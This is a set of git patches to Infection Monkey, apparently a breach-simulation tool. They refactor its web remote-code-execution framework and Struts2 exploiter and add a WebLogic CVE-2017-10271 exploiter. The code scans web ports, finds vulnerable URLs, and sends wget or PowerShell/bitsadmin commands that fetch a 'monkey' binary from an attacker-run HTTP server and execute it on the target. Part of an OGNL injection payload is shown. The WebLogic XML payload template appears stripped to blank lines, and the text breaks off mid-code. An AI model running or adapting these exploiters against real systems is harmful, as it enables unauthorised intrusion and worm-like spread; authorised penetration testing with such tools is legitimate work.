100644 --- a/infection_monkey/exploit/web_rce.py +++ b/infection_monkey/exploit/web_rce.py @@ -37,6 +37,7 @@ class WebRCE(HostExploiter): 'win64': self._config.dropper_target_path_win_64} self.HTTP = [str(port) for port in self._config.HTTP_PORTS] self.skip_exist = self._config.skip_exploit_if_file_exist + self.vulnerable_urls = [] def get_exploit_config(self): """ @@ -77,38 +78,32 @@ class WebRCE(HostExploiter): return False # Get urls to try to exploit urls = self.build_potential_urls(ports, exploit_config['url_extensions']) - vulnerable_urls = [] - for url in urls: - if self.check_if_exploitable(url): - vulnerable_urls.append(url) - if exploit_config['stop_checking_urls']: - break - self._exploit_info['vulnerable_urls'] = vulnerable_urls + self.add_vulnerable_urls(urls, exploit_config['stop_checking_urls']) - if not vulnerable_urls: + if not self.vulnerable_urls: return False # Skip if monkey already exists and this option is given - if not exploit_config['blind_exploit'] and self.skip_exist and self.check_remote_files(vulnerable_urls[0]): + if not exploit_config['blind_exploit'] and self.skip_exist and self.check_remote_files(self.vulnerable_urls[0]): LOG.info("Host %s was already infected under the current configuration, done" % self.host) return True # Check for targets architecture (if it's 32 or 64 bit) - if not exploit_config['blind_exploit'] and not self.set_host_arch(vulnerable_urls[0]): + if not exploit_config['blind_exploit'] and not self.set_host_arch(self.vulnerable_urls[0]): return False # Upload the right monkey to target - data = self.upload_monkey(vulnerable_urls[0], exploit_config['upload_commands']) + data = self.upload_monkey(self.vulnerable_urls[0], exploit_config['upload_commands']) if data is not False and data['response'] is False: return False # Change permissions to transform monkey into executable file - if self.change_permissions(vulnerable_urls[0], data['path']) is False: + if self.change_permissions(self.vulnerable_urls[0], data['path']) is False: return False # Execute remote monkey - if self.execute_remote_monkey(vulnerable_urls[0], data['path'], exploit_config['dropper']) is False: + if self.execute_remote_monkey(self.vulnerable_urls[0], data['path'], exploit_config['dropper']) is False: return False return True @@ -202,6 +197,23 @@ class WebRCE(HostExploiter): LOG.info("No attack url's were built") return url_list + def add_vulnerable_urls(self, urls, stop_checking=False): + """ + Gets vulnerable url(s) from url list + :param urls: Potentially vulnerable urls + :param stop_checking: + :return: + """ + for url in urls: + if self.check_if_exploitable(url): + self.vulnerable_urls.append(url) + if stop_checking: + break + if not self.vulnerable_urls: + LOG.info("No vulnerable urls found, skipping.") + # We add urls to param used in reporting + self._exploit_info['vulnerable_urls'] = self.vulnerable_urls + def get_host_arch(self, url): """ :param url: Url for exploiter to use @@ -282,6 +294,21 @@ class WebRCE(HostExploiter): self.host.os['machine'] = arch return True + def run_backup_commands(self, resp, url, paths, http_path): + """ + If you need multiple commands for the same os you can override this method to add backup commands + :param resp: Response from base command + :param url: Vulnerable url + :param paths: Where to upload monkey + :param http_path: Where to download monkey from + :return: Command's response (same response if backup command is not needed) + """ + if not isinstance(resp, bool) and POWERSHELL_NOT_FOUND in resp: + LOG.info("Powershell not found in host. Using bitsadmin to download.") + backup_command = RDP_CMDLINE_HTTP % {'monkey_path': paths['dest_path'], 'http_path': http_path} + resp = self.exploit(url, backup_command) + return resp + def upload_monkey(self, url, commands=None): """ :param url: Where exploiter should send it's request @@ -290,39 +317,31 @@ class WebRCE(HostExploiter): :return: {'response': response/False, 'path': monkeys_path_in_host} """ LOG.info("Trying to upload monkey to the host.") - src_path = get_target_monkey(self.host) - if not src_path: - LOG.info("Can't find suitable monkey executable for host %r", host) + if not self.host.os['type']: + LOG.error("Unknown target's os type. Skipping.") return False - # Determine which destination path to use - LOG.debug("Monkey path found") - path = self.get_monkey_upload_path(src_path) - if not path: + paths = self.get_monkey_paths() + if not paths: return False # Create server for http download and wait for it's startup. - http_path, http_thread = HTTPTools.create_locked_transfer(self.host, src_path) + http_path, http_thread = HTTPTools.create_locked_transfer(self.host, paths['src_path']) if not http_path: LOG.debug("Exploiter failed, http transfer creation failed.") return False LOG.info("Started http server on %s", http_path) - if not self.host.os['type']: - LOG.error("Unknown target's os type. Skipping.") - return False # Choose command: if not commands: commands = {'windows': POWERSHELL_HTTP_UPLOAD, 'linux': WGET_HTTP_UPLOAD} - command = self.get_command(path, http_path, commands) + command = self.get_command(paths['dest_path'], http_path, commands) resp = self.exploit(url, command) - if not isinstance(resp, bool) and POWERSHELL_NOT_FOUND in resp: - LOG.info("Powershell not found in host. Using bitsadmin to download.") - backup_command = RDP_CMDLINE_HTTP % {'monkey_path': path, 'http_path': http_path} - resp = self.exploit(url, backup_command) + resp = self.run_backup_commands(resp, url, paths, http_path) + http_thread.join(DOWNLOAD_TIMEOUT) http_thread.stop() LOG.info("Uploading process finished") - return {'response': resp, 'path': path} + return {'response': resp, 'path': paths['dest_path']} def change_permissions(self, url, path, command=None): """ @@ -421,6 +440,21 @@ class WebRCE(HostExploiter): "custom dict of monkey's destination paths") return False + def get_monkey_paths(self): + """ + Gets local (used by server) and destination (where to download) paths. + :return: dict of source and destination paths + """ + src_path = get_target_monkey(self.host) + if not src_path: + LOG.info("Can't find suitable monkey executable for host %r", host) + return False + # Determine which destination path to use + dest_path = self.get_monkey_upload_path(src_path) + if not dest_path: + return False + return {'src_path': src_path, 'dest_path': dest_path} + def get_default_dropper_path(self): """ Gets default dropper path for the host. diff --git a/infection_monkey/transport/http.py b/infection_monkey/transport/http.py index 72664f0ab..b65fda4e9 100644 --- a/infection_monkey/transport/http.py +++ b/infection_monkey/transport/http.py @@ -204,6 +204,7 @@ class LockedHTTPServer(threading.Thread): self._stopped = False self.lock = lock threading.Thread.__init__(self) + self.daemon = True def run(self): class TempHandler(FileServHTTPRequestHandler): From 87b0afae88dd06e2a5e764a8aa7e3e0417d8ee53 Mon Sep 17 00:00:00 2001 From: Vakaris Date: Wed, 29 Aug 2018 14:41:02 +0300 Subject: [PATCH 155/243] Minor changes in run_backup_commands --- infection_monkey/exploit/web_rce.py | 12 ++++++------ 1 file changed, 6 insertions(+), 6 deletions(-) diff --git a/infection_monkey/exploit/web_rce.py b/infection_monkey/exploit/web_rce.py index a8aa2aae7..97708ab24 100644 --- a/infection_monkey/exploit/web_rce.py +++ b/infection_monkey/exploit/web_rce.py @@ -201,8 +201,8 @@ class WebRCE(HostExploiter): """ Gets vulnerable url(s) from url list :param urls: Potentially vulnerable urls - :param stop_checking: - :return: + :param stop_checking: If we want to continue checking for vulnerable url even though one is found (bool) + :return: None (we append to class variable vulnerable_urls) """ for url in urls: if self.check_if_exploitable(url): @@ -294,18 +294,18 @@ class WebRCE(HostExploiter): self.host.os['machine'] = arch return True - def run_backup_commands(self, resp, url, paths, http_path): + def run_backup_commands(self, resp, url, dest_path, http_path): """ If you need multiple commands for the same os you can override this method to add backup commands :param resp: Response from base command :param url: Vulnerable url - :param paths: Where to upload monkey + :param dest_path: Where to upload monkey :param http_path: Where to download monkey from :return: Command's response (same response if backup command is not needed) """ if not isinstance(resp, bool) and POWERSHELL_NOT_FOUND in resp: LOG.info("Powershell not found in host. Using bitsadmin to download.") - backup_command = RDP_CMDLINE_HTTP % {'monkey_path': paths['dest_path'], 'http_path': http_path} + backup_command = RDP_CMDLINE_HTTP % {'monkey_path': dest_path, 'http_path': http_path} resp = self.exploit(url, backup_command) return resp @@ -336,7 +336,7 @@ class WebRCE(HostExploiter): resp = self.exploit(url, command) - resp = self.run_backup_commands(resp, url, paths, http_path) + resp = self.run_backup_commands(resp, url, paths['dest_path'], http_path) http_thread.join(DOWNLOAD_TIMEOUT) http_thread.stop() From 8d7221eada4bc1f3ffbaef2db6310b4d2473893e Mon Sep 17 00:00:00 2001 From: Vakaris Date: Thu, 19 Jul 2018 13:42:01 +0300 Subject: [PATCH 156/243] Struts2 core functions --- infection_monkey/exploit/struts2.py | 201 +++++----------------------- 1 file changed, 36 insertions(+), 165 deletions(-) diff --git a/infection_monkey/exploit/struts2.py b/infection_monkey/exploit/struts2.py index c489a3784..395fe422a 100644 --- a/infection_monkey/exploit/struts2.py +++ b/infection_monkey/exploit/struts2.py @@ -9,11 +9,8 @@ import unicodedata import re import logging -from exploit import HostExploiter -from exploit.tools import get_target_monkey, get_monkey_depth -from tools import build_monkey_commandline, HTTPTools -from model import CHECK_COMMAND, POWERSHELL_HTTP_UPLOAD, WGET_HTTP_UPLOAD, ID_STRING, RDP_CMDLINE_HTTP, \ - DROPPER_ARG +from web_rce import WebRCE +import copy __author__ = "VakarisZ" @@ -21,167 +18,57 @@ LOG = logging.getLogger(__name__) DOWNLOAD_TIMEOUT = 300 -# Commands used to check if monkeys already exists -FIND_FILE = "ls %s" -class Struts2Exploiter(HostExploiter): +class Struts2Exploiter(WebRCE): _TARGET_OS_TYPE = ['linux', 'windows'] def __init__(self, host): super(Struts2Exploiter, self).__init__(host) - self._config = __import__('config').WormConfiguration - self.skip_exist = self._config.skip_exploit_if_file_exist - self.HTTP = [str(port) for port in self._config.HTTP_PORTS] def exploit_host(self): - dropper_path_linux = self._config.dropper_target_path_linux - dropper_path_win_32 = self._config.dropper_target_path_win_32 - dropper_path_win_64 = self._config.dropper_target_path_win_64 - - ports = self.get_exploitable_ports(self.host, self.HTTP, ["http"]) - + # We need a reference to the exploiter for WebRCE framework to use + exploiter = self.exploit + # Get open ports + ports = WebRCE.get_ports_w(self.host, self.HTTP, ["http"]) if not ports: - LOG.info("All web ports are closed on %r, skipping", self.host) return False - - for port in ports: - if port[1]: - current_host = "https://%s:%s" % (self.host.ip_addr, port[0]) - else: - current_host = "http://%s:%s" % (self.host.ip_addr, port[0]) + # Get urls to try to exploit + urls = WebRCE.build_potential_urls(self.host, ports) + vulnerable_urls = [] + for url in urls: # Get full URL - url = self.get_redirected(current_host) - LOG.info("Trying to exploit with struts2") - # Check if host is vulnerable and get host os architecture - if 'linux' in self.host.os['type']: - return self.exploit_linux(url, dropper_path_linux) - else: - return self.exploit_windows(url, [dropper_path_win_32, dropper_path_win_64]) - - def check_remote_file(self, host, path): - command = FIND_FILE % path - resp = self.exploit(host, command) - if 'No such file' in resp: + url = self.get_redirected(url) + if WebRCE.check_if_exploitable(exploiter, url): + vulnerable_urls.append(url) + self._exploit_info['vulnerable_urls'] = vulnerable_urls + if not vulnerable_urls: return False - else: + # We need to escape backslashes for our exploiter + config = copy.deepcopy(self._config) + config.dropper_target_path_win_32 = re.sub(r"\\", r"\\\\", config.dropper_target_path_win_32) + config.dropper_target_path_win_64 = re.sub(r"\\", r"\\\\", config.dropper_target_path_win_64) + + if self.skip_exist and WebRCE.check_remote_files(self.host, exploiter, vulnerable_urls[0], config): LOG.info("Host %s was already infected under the current configuration, done" % self.host) return True - def exploit_linux(self, url, dropper_path): - host_arch = Struts2Exploiter.check_exploit_linux(url) - if host_arch: - self.host.os['machine'] = host_arch - if url and host_arch: - LOG.info("Host is exploitable with struts2 RCE vulnerability") - # If monkey already exists and option not to exploit in that case is selected - if self.skip_exist and self.check_remote_file(url, dropper_path): - LOG.info("Host %s was already infected under the current configuration, done" % self.host) - return True - - src_path = get_target_monkey(self.host) - if not src_path: - LOG.info("Can't find suitable monkey executable for host %r", self.host) - return False - # create server for http download. - http_path, http_thread = HTTPTools.create_transfer(self.host, src_path) - if not http_path: - LOG.debug("Exploiter Struts2 failed, http transfer creation failed.") - return False - LOG.info("Started http server on %s", http_path) - - cmdline = build_monkey_commandline(self.host, get_monkey_depth() - 1, dropper_path) - - command = WGET_HTTP_UPLOAD % {'monkey_path': dropper_path, - 'http_path': http_path, 'parameters': cmdline} - - self.exploit(url, command) - - http_thread.join(DOWNLOAD_TIMEOUT) - http_thread.stop() - LOG.info("Struts2 exploit attempt finished") - - return True - - return False - - def exploit_windows(self, url, dropper_paths): - """ - :param url: Where to send malicious request - :param dropper_paths: [0]-monkey-windows-32.bat, [1]-monkey-windows-64.bat - :return: Bool. Successfully exploited or not - """ - host_arch = Struts2Exploiter.check_exploit_windows(url) - if host_arch: - self.host.os['machine'] = host_arch - if url and host_arch: - LOG.info("Host is exploitable with struts2 RCE vulnerability") - # If monkey already exists and option not to exploit in that case is selected - if self.skip_exist: - for dropper_path in dropper_paths: - if self.check_remote_file(url, re.sub(r"\\", r"\\\\", dropper_path)): - LOG.info("Host %s was already infected under the current configuration, done" % self.host) - return True - - src_path = get_target_monkey(self.host) - if not src_path: - LOG.info("Can't find suitable monkey executable for host %r", self.host) - return False - # Select the dir and name for monkey on the host - if "windows-32" in src_path: - dropper_path = dropper_paths[0] - else: - dropper_path = dropper_paths[1] - # create server for http download. - http_path, http_thread = HTTPTools.create_transfer(self.host, src_path) - if not http_path: - LOG.debug("Exploiter Struts2 failed, http transfer creation failed.") - return False - LOG.info("Started http server on %s", http_path) - - # We need to double escape backslashes. Once for payload, twice for command - cmdline = re.sub(r"\\", r"\\\\", build_monkey_commandline(self.host, get_monkey_depth() - 1, dropper_path)) - - command = POWERSHELL_HTTP_UPLOAD % {'monkey_path': re.sub(r"\\", r"\\\\", dropper_path), - 'http_path': http_path, 'parameters': cmdline} - - backup_command = RDP_CMDLINE_HTTP % {'monkey_path': re.sub(r"\\", r"\\\\", dropper_path), - 'http_path': http_path, 'parameters': cmdline, 'type': DROPPER_ARG} - - resp = self.exploit(url, command) - - if 'powershell is not recognized' in resp: - self.exploit(url, backup_command) - - http_thread.join(DOWNLOAD_TIMEOUT) - http_thread.stop() - LOG.info("Struts2 exploit attempt finished") - - return True - - return False - - @staticmethod - def check_exploit_windows(url): - resp = Struts2Exploiter.exploit(url, CHECK_COMMAND) - if resp and ID_STRING in resp: - if "64-bit" in resp: - return "64" - else: - return "32" - else: + if not WebRCE.set_host_arch(self.host, exploiter, vulnerable_urls[0]): return False - @staticmethod - def check_exploit_linux(url): - resp = Struts2Exploiter.exploit(url, CHECK_COMMAND) - if resp and ID_STRING in resp: - # Pulls architecture string - arch = re.search('(?<=Architecture:)\s+(\w+)', resp) - arch = arch.group(1) - return arch - else: + data = WebRCE.upload_monkey(self.host, config, exploiter, vulnerable_urls[0]) + + # We can't use 'if not' because response may be '' + if data is not False and data['response'] == False: return False + if WebRCE.change_permissions(self.host, vulnerable_urls[0], exploiter, data['path']) == False: + return False + + if WebRCE.execute_remote_monkey(self.host, vulnerable_urls[0], exploiter, data['path'], True) == False: + return False + + return True + @staticmethod def get_redirected(url): # Returns false if url is not right @@ -193,8 +80,7 @@ class Struts2Exploiter(HostExploiter): LOG.error("Can't reach struts2 server") return False - @staticmethod - def exploit(url, cmd): + def exploit(self, url, cmd): """ :param url: Full url to send request to :param cmd: Code to try and execute on host @@ -232,18 +118,3 @@ class Struts2Exploiter(HostExploiter): page = e.partial return page - - @staticmethod - def get_exploitable_ports(host, port_list, names): - candidate_services = {} - for name in names: - chosen_services = { - service: host.services[service] for service in host.services if - ('name' in host.services[service]) and (host.services[service]['name'] == name) - } - candidate_services.update(chosen_services) - - valid_ports = [(port, candidate_services['tcp-' + str(port)]['data'][1]) for port in port_list if - 'tcp-' + str(port) in candidate_services] - - return valid_ports From beb8dfed92d1381f82b90a6ec3d2a1b28adeeb6d Mon Sep 17 00:00:00 2001 From: Vakaris Date: Fri, 10 Aug 2018 15:04:23 +0300 Subject: [PATCH 157/243] Struts2 refactored for framework fixes --- infection_monkey/exploit/struts2.py | 26 +++++++++++--------------- 1 file changed, 11 insertions(+), 15 deletions(-) diff --git a/infection_monkey/exploit/struts2.py b/infection_monkey/exploit/struts2.py index 395fe422a..2b672f290 100644 --- a/infection_monkey/exploit/struts2.py +++ b/infection_monkey/exploit/struts2.py @@ -26,45 +26,39 @@ class Struts2Exploiter(WebRCE): super(Struts2Exploiter, self).__init__(host) def exploit_host(self): - # We need a reference to the exploiter for WebRCE framework to use - exploiter = self.exploit # Get open ports - ports = WebRCE.get_ports_w(self.host, self.HTTP, ["http"]) + ports = self.get_ports_w(self.HTTP, ["http"]) if not ports: return False # Get urls to try to exploit - urls = WebRCE.build_potential_urls(self.host, ports) + urls = self.build_potential_urls(ports) vulnerable_urls = [] for url in urls: # Get full URL url = self.get_redirected(url) - if WebRCE.check_if_exploitable(exploiter, url): + if self.check_if_exploitable(url): vulnerable_urls.append(url) self._exploit_info['vulnerable_urls'] = vulnerable_urls if not vulnerable_urls: return False - # We need to escape backslashes for our exploiter - config = copy.deepcopy(self._config) - config.dropper_target_path_win_32 = re.sub(r"\\", r"\\\\", config.dropper_target_path_win_32) - config.dropper_target_path_win_64 = re.sub(r"\\", r"\\\\", config.dropper_target_path_win_64) - if self.skip_exist and WebRCE.check_remote_files(self.host, exploiter, vulnerable_urls[0], config): + if self.skip_exist and self.check_remote_files(vulnerable_urls[0]): LOG.info("Host %s was already infected under the current configuration, done" % self.host) return True - if not WebRCE.set_host_arch(self.host, exploiter, vulnerable_urls[0]): + if not self.set_host_arch(vulnerable_urls[0]): return False - data = WebRCE.upload_monkey(self.host, config, exploiter, vulnerable_urls[0]) + data = self.upload_monkey(vulnerable_urls[0]) # We can't use 'if not' because response may be '' - if data is not False and data['response'] == False: + if data is not False and data['response'] is False: return False - if WebRCE.change_permissions(self.host, vulnerable_urls[0], exploiter, data['path']) == False: + if self.change_permissions(vulnerable_urls[0], data['path']) is False: return False - if WebRCE.execute_remote_monkey(self.host, vulnerable_urls[0], exploiter, data['path'], True) == False: + if self.execute_remote_monkey(vulnerable_urls[0], data['path'], True) is False: return False return True @@ -86,6 +80,8 @@ class Struts2Exploiter(WebRCE): :param cmd: Code to try and execute on host :return: response """ + cmd = re.sub(r"\\", r"\\\\", cmd) + cmd = re.sub(r"'", r"\\'", cmd) payload = "%%{(#_='multipart/form-data')." \ "(#dm=@ognl.OgnlContext@DEFAULT_MEMBER_ACCESS)." \ "(#_memberAccess?" \ From 071535fd010c00cfa85d4b81bd3852d36374aab5 Mon Sep 17 00:00:00 2001 From: Vakaris Date: Tue, 21 Aug 2018 12:31:50 +0300 Subject: [PATCH 158/243] Struts2 refactored to use default_exploit_host function --- infection_monkey/exploit/struts2.py | 65 +++++++++++++---------------- 1 file changed, 28 insertions(+), 37 deletions(-) diff --git a/infection_monkey/exploit/struts2.py b/infection_monkey/exploit/struts2.py index 2b672f290..387c4bfa8 100644 --- a/infection_monkey/exploit/struts2.py +++ b/infection_monkey/exploit/struts2.py @@ -10,7 +10,7 @@ import re import logging from web_rce import WebRCE -import copy +from posixpath import join __author__ = "VakarisZ" @@ -23,45 +23,36 @@ class Struts2Exploiter(WebRCE): _TARGET_OS_TYPE = ['linux', 'windows'] def __init__(self, host): - super(Struts2Exploiter, self).__init__(host) + super(Struts2Exploiter, self).__init__(host, None) def exploit_host(self): - # Get open ports - ports = self.get_ports_w(self.HTTP, ["http"]) - if not ports: - return False - # Get urls to try to exploit - urls = self.build_potential_urls(ports) - vulnerable_urls = [] - for url in urls: - # Get full URL - url = self.get_redirected(url) - if self.check_if_exploitable(url): - vulnerable_urls.append(url) - self._exploit_info['vulnerable_urls'] = vulnerable_urls - if not vulnerable_urls: - return False + return self.default_exploit_host(dropper=True) - if self.skip_exist and self.check_remote_files(vulnerable_urls[0]): - LOG.info("Host %s was already infected under the current configuration, done" % self.host) - return True - - if not self.set_host_arch(vulnerable_urls[0]): - return False - - data = self.upload_monkey(vulnerable_urls[0]) - - # We can't use 'if not' because response may be '' - if data is not False and data['response'] is False: - return False - - if self.change_permissions(vulnerable_urls[0], data['path']) is False: - return False - - if self.execute_remote_monkey(vulnerable_urls[0], data['path'], True) is False: - return False - - return True + def build_potential_urls(self, ports, extensions=None): + """ + We need to override this method to get redirected url's + :param ports: Array of ports. One port is described as size 2 array: [port.no(int), isHTTPS?(bool)] + Eg. ports: [[80, False], [443, True]] + :param extensions: What subdirectories to scan. www.domain.com[/extension] + :return: Array of url's to try and attack + """ + url_list = [] + if extensions: + extensions = [(e[1:] if '/' == e[0] else e) for e in extensions] + else: + extensions = [""] + for port in ports: + for extension in extensions: + if port[1]: + protocol = "https" + else: + protocol = "http" + url = join(("%s://%s:%s" % (protocol, self.host.ip_addr, port[0])), extension) + redirected_url = self.get_redirected(url) + url_list.append(redirected_url) + if not url_list: + LOG.info("No attack url's were built") + return url_list @staticmethod def get_redirected(url): From b07e70855c8afbcca1501d3ede160382ecbd351b Mon Sep 17 00:00:00 2001 From: Vakaris Date: Wed, 22 Aug 2018 14:33:00 +0300 Subject: [PATCH 159/243] Refactored struts2 to overload get_exploit_config --- infection_monkey/exploit/struts2.py | 8 +++++--- 1 file changed, 5 insertions(+), 3 deletions(-) diff --git a/infection_monkey/exploit/struts2.py b/infection_monkey/exploit/struts2.py index 387c4bfa8..f6ede586f 100644 --- a/infection_monkey/exploit/struts2.py +++ b/infection_monkey/exploit/struts2.py @@ -25,8 +25,10 @@ class Struts2Exploiter(WebRCE): def __init__(self, host): super(Struts2Exploiter, self).__init__(host, None) - def exploit_host(self): - return self.default_exploit_host(dropper=True) + def get_exploit_config(self): + exploit_config = super(Struts2Exploiter, self).get_exploit_config() + exploit_config['dropper'] = True + return exploit_config def build_potential_urls(self, ports, extensions=None): """ @@ -47,7 +49,7 @@ class Struts2Exploiter(WebRCE): protocol = "https" else: protocol = "http" - url = join(("%s://%s:%s" % (protocol, self.host.ip_addr, port[0])), extension) + url = join(("%s://%s:%s/" % (protocol, self.host.ip_addr, port[0])), extension) redirected_url = self.get_redirected(url) url_list.append(redirected_url) if not url_list: From 84fb96d0de4b5995139be4b852c34f9064dffd56 Mon Sep 17 00:00:00 2001 From: Vakaris Date: Thu, 23 Aug 2018 13:51:11 +0300 Subject: [PATCH 160/243] struts built_potential_url's now use map function to save code --- infection_monkey/exploit/struts2.py | 18 ++---------------- 1 file changed, 2 insertions(+), 16 deletions(-) diff --git a/infection_monkey/exploit/struts2.py b/infection_monkey/exploit/struts2.py index f6ede586f..867ab92fa 100644 --- a/infection_monkey/exploit/struts2.py +++ b/infection_monkey/exploit/struts2.py @@ -38,22 +38,8 @@ class Struts2Exploiter(WebRCE): :param extensions: What subdirectories to scan. www.domain.com[/extension] :return: Array of url's to try and attack """ - url_list = [] - if extensions: - extensions = [(e[1:] if '/' == e[0] else e) for e in extensions] - else: - extensions = [""] - for port in ports: - for extension in extensions: - if port[1]: - protocol = "https" - else: - protocol = "http" - url = join(("%s://%s:%s/" % (protocol, self.host.ip_addr, port[0])), extension) - redirected_url = self.get_redirected(url) - url_list.append(redirected_url) - if not url_list: - LOG.info("No attack url's were built") + url_list = super(Struts2Exploiter, self).build_potential_urls(ports) + url_list = list(map(self.get_redirected, url_list)) return url_list @staticmethod From 2295f2c0abec75549eef85559dc022f29d0b2705 Mon Sep 17 00:00:00 2001 From: Vakaris Date: Thu, 23 Aug 2018 14:37:31 +0300 Subject: [PATCH 161/243] More pythonic and clean way to apply function to url_list --- infection_monkey/exploit/struts2.py | 2 +- 1 file changed, 1 insertion(+), 1 deletion(-) diff --git a/infection_monkey/exploit/struts2.py b/infection_monkey/exploit/struts2.py index 867ab92fa..ae0bdd948 100644 --- a/infection_monkey/exploit/struts2.py +++ b/infection_monkey/exploit/struts2.py @@ -39,7 +39,7 @@ class Struts2Exploiter(WebRCE): :return: Array of url's to try and attack """ url_list = super(Struts2Exploiter, self).build_potential_urls(ports) - url_list = list(map(self.get_redirected, url_list)) + url_list = [self.get_redirected(url) for url in url_list] return url_list @staticmethod From 8af2ab70e7ae49169544f9ba2293ddd7793eab7b Mon Sep 17 00:00:00 2001 From: Vakaris Date: Thu, 23 Aug 2018 15:06:58 +0300 Subject: [PATCH 162/243] Removed unused import statement --- infection_monkey/exploit/struts2.py | 1 - 1 file changed, 1 deletion(-) diff --git a/infection_monkey/exploit/struts2.py b/infection_monkey/exploit/struts2.py index ae0bdd948..fe4a73c09 100644 --- a/infection_monkey/exploit/struts2.py +++ b/infection_monkey/exploit/struts2.py @@ -10,7 +10,6 @@ import re import logging from web_rce import WebRCE -from posixpath import join __author__ = "VakarisZ" From ab64e78f00966fd3fc425e976add9bda387de64d Mon Sep 17 00:00:00 2001 From: Vakaris Date: Thu, 19 Jul 2018 14:15:18 +0300 Subject: [PATCH 163/243] Core functions of Oracle weblogic rce --- infection_monkey/config.py | 6 +- infection_monkey/example.conf | 6 +- infection_monkey/exploit/__init__.py | 1 + infection_monkey/exploit/weblogic.py | 203 ++++++++++++++++++ monkey_island/cc/services/config.py | 16 +- monkey_island/cc/services/report.py | 15 +- .../cc/ui/src/components/pages/ReportPage.js | 28 ++- 7 files changed, 264 insertions(+), 11 deletions(-) create mode 100644 infection_monkey/exploit/weblogic.py diff --git a/infection_monkey/config.py b/infection_monkey/config.py index 818bc75a0..b5df92f55 100644 --- a/infection_monkey/config.py +++ b/infection_monkey/config.py @@ -7,7 +7,7 @@ from abc import ABCMeta from itertools import product from exploit import WmiExploiter, Ms08_067_Exploiter, SmbExploiter, RdpExploiter, SSHExploiter, ShellShockExploiter, \ - SambaCryExploiter, ElasticGroovyExploiter, Struts2Exploiter + SambaCryExploiter, ElasticGroovyExploiter, Struts2Exploiter, WebLogicExploiter from network import TcpScanner, PingScanner, SMBFinger, SSHFinger, HTTPFinger, MySQLFinger, ElasticFinger, \ MSSQLFinger @@ -149,7 +149,7 @@ class Configuration(object): finger_classes = [SMBFinger, SSHFinger, PingScanner, HTTPFinger, MySQLFinger, ElasticFinger, MSSQLFinger] exploiter_classes = [SmbExploiter, WmiExploiter, # Windows exploits SSHExploiter, ShellShockExploiter, SambaCryExploiter, # Linux - ElasticGroovyExploiter, Struts2Exploiter # multi + ElasticGroovyExploiter, Struts2Exploiter, WebLogicExploiter # multi ] # how many victims to look for in a single scan iteration @@ -191,7 +191,7 @@ class Configuration(object): # TCP Scanner HTTP_PORTS = [80, 8080, 443, - 8008, # HTTP alternate + 8008, 7001 # HTTP alternate ] tcp_target_ports = [22, 2222, diff --git a/infection_monkey/example.conf b/infection_monkey/example.conf index 3c33d975a..1d6d4f0e9 100644 --- a/infection_monkey/example.conf +++ b/infection_monkey/example.conf @@ -37,7 +37,8 @@ "ShellShockExploiter", "ElasticGroovyExploiter", "SambaCryExploiter", - "Struts2Exploiter" + "Struts2Exploiter", + "WebLogicExploiter" ], "finger_classes": [ "SSHFinger", @@ -87,7 +88,8 @@ 443, 3306, 8008, - 9200 + 9200, + 7001 ], "timeout_between_iterations": 10, "use_file_logging": true, diff --git a/infection_monkey/exploit/__init__.py b/infection_monkey/exploit/__init__.py index f2d5d0c5b..346f6276b 100644 --- a/infection_monkey/exploit/__init__.py +++ b/infection_monkey/exploit/__init__.py @@ -42,3 +42,4 @@ from shellshock import ShellShockExploiter from sambacry import SambaCryExploiter from elasticgroovy import ElasticGroovyExploiter from struts2 import Struts2Exploiter +from weblogic import WebLogicExploiter diff --git a/infection_monkey/exploit/weblogic.py b/infection_monkey/exploit/weblogic.py new file mode 100644 index 000000000..f4f034132 --- /dev/null +++ b/infection_monkey/exploit/weblogic.py @@ -0,0 +1,203 @@ +# Exploit based of: +# Kevin Kirsche (d3c3pt10n) +# https://github.com/kkirsche/CVE-2017-10271 +# and +# Luffin from Github +# https://github.com/Luffin/CVE-2017-10271 +# CVE: CVE-2017-10271 + +from requests import post, exceptions +from web_rce import WebRCE +from exploit.tools import get_free_tcp_port, get_interface_to_target +from BaseHTTPServer import BaseHTTPRequestHandler, HTTPServer +from model import POWERSHELL_HTTP_UPLOAD_NOT_ESCAPED, WGET_HTTP_UPLOAD + +import threading +import logging +import copy +__author__ = "VakarisZ" + +LOG = logging.getLogger(__name__) +# How long server waits for response +DOWNLOAD_TIMEOUT = 4 +# How long to wait for a request to go to vuln machine and then to our server from there +REQUEST_TIMEOUT = 2 +# How long to wait for response in exploitation +EXECUTION_TIMEOUT = 15 +# Server might get response faster than it starts listening to it, we need a lock +LOCK = threading.Lock() +URLS = ["/wls-wsat/CoordinatorPortType", + "/wls-wsat/CoordinatorPortType11", + "/wls-wsat/ParticipantPortType", + "/wls-wsat/ParticipantPortType11", + "/wls-wsat/RegistrationPortTypeRPC", + "/wls-wsat/RegistrationPortTypeRPC11", + "/wls-wsat/RegistrationRequesterPortType", + "/wls-wsat/RegistrationRequesterPortType11"] +# Malicious request's headers: +HEADERS = { + "Content-Type": "text/xml;charset=UTF-8", + "User-Agent": "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_12_6) " + "AppleWebKit/537.36 (KHTML, like Gecko) Chrome/63.0.3239.84 Safari/537.36" + } + + +class WebLogicExploiter(WebRCE): + _TARGET_OS_TYPE = ['linux', 'windows'] + + def __init__(self, host): + super(WebLogicExploiter, self).__init__(host) + + def exploit_host(self): + # Get open ports + ports = WebRCE.get_ports_w(self.host, self.HTTP, ["http"]) + if not ports: + return False + # Get urls to try to exploit + urls = WebRCE.build_potential_urls(self.host, ports, URLS) + + exploiter = self.exploit + + # Checking takes a lot of time, so we check until we get exploitable url and stop + vulnerable_urls = [] + for url in urls: + # Get full URL + if self.test_exploit(url): + vulnerable_urls.append(url) + break + self._exploit_info['vulnerable_urls'] = vulnerable_urls + if not vulnerable_urls: + return False + + # Somehow we can't save files outside server's directory + config = copy.deepcopy(self._config) + config.dropper_target_path_win_32 = 'monkey-32.exe' + config.dropper_target_path_win_64 = 'monkey-64.exe' + config.dropper_target_path_linux = './monkey.sh' + + data = WebRCE.upload_monkey(self.host, config, exploiter, vulnerable_urls[0], + {'windows': POWERSHELL_HTTP_UPLOAD_NOT_ESCAPED, + 'linux': WGET_HTTP_UPLOAD}) + + # We can't use 'if not' because response may be '' + if not data or data['response'] == False: + return False + + if WebRCE.change_permissions(self.host, vulnerable_urls[0], exploiter, data['path']) == False: + return False + + if WebRCE.execute_remote_monkey(self.host, vulnerable_urls[0], exploiter, data['path'], False) == False: + return False + + return True + + def exploit(self, url, command): + empty_payload = ''' + + + + + + + {cmd_base} + + + {cmd_opt} + + + {cmd_payload} + + + + + + + + + + ''' + if 'linux' in self.host.os['type']: + cmd_base = '/bin/sh' + cmd_opt = '-c' + command += ' 1> /dev/null 2> /dev/null' + else: + cmd_base = 